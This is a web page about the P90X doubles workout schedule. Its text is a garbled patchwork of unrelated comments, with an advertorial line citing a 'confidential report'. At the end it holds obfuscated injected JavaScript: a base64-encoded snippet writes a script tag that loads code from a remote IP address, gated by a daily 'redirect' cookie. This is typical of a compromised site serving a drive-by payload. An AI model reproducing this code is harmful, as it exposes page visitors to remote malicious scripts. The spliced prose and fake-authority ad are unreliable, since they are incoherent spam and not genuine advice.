The BEST results will come from consistently pressing play and consistently focusing on your nutrition! 1. Yeah sure. The P90X doubles schedule demands cardio x in the morning, and resistence training later in the day. I want to get to 10% or less so I can start you gain mass diet :). I recently got P90X and I am in the process of reveiwing the vids. You need to have an action plan to combat what your body/mind is telling you to do! Ryan, yes that would be a good choice. I was planning on keeping the 3 blocks of 4 weeks from P90X. Thankfully, the latest apps and equipment offer loads of options, at a range of costs. P90 was recently re-released and updated to use the new set design (much nicer! Update: Research specialist Cindy Walters reports, “Individuals need to know which home based exercise programs are truly worth their time.” In a confidential report, Ms. Walters provides two extremely important sources shown below: Immediately Access the News and Media’s Reported Most Powerful Home Exercise Program You even took on the P90X3 accelerated challenge and came out on top. 0. Of course this doesn’t include the iron mentality you will need going in, especially if you’re not used to exhaustion and fatigue. I advise that you do the Cardio X first thing in the morning, even before breakfast, and the regular P90X workout in the evening. The Doubles P90X Schedule is meant for P90X professionals that have done P90X before, and are looking to take things to a whole other level. I too plan to add bit more cardio to it (running)1 or 2x per week. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('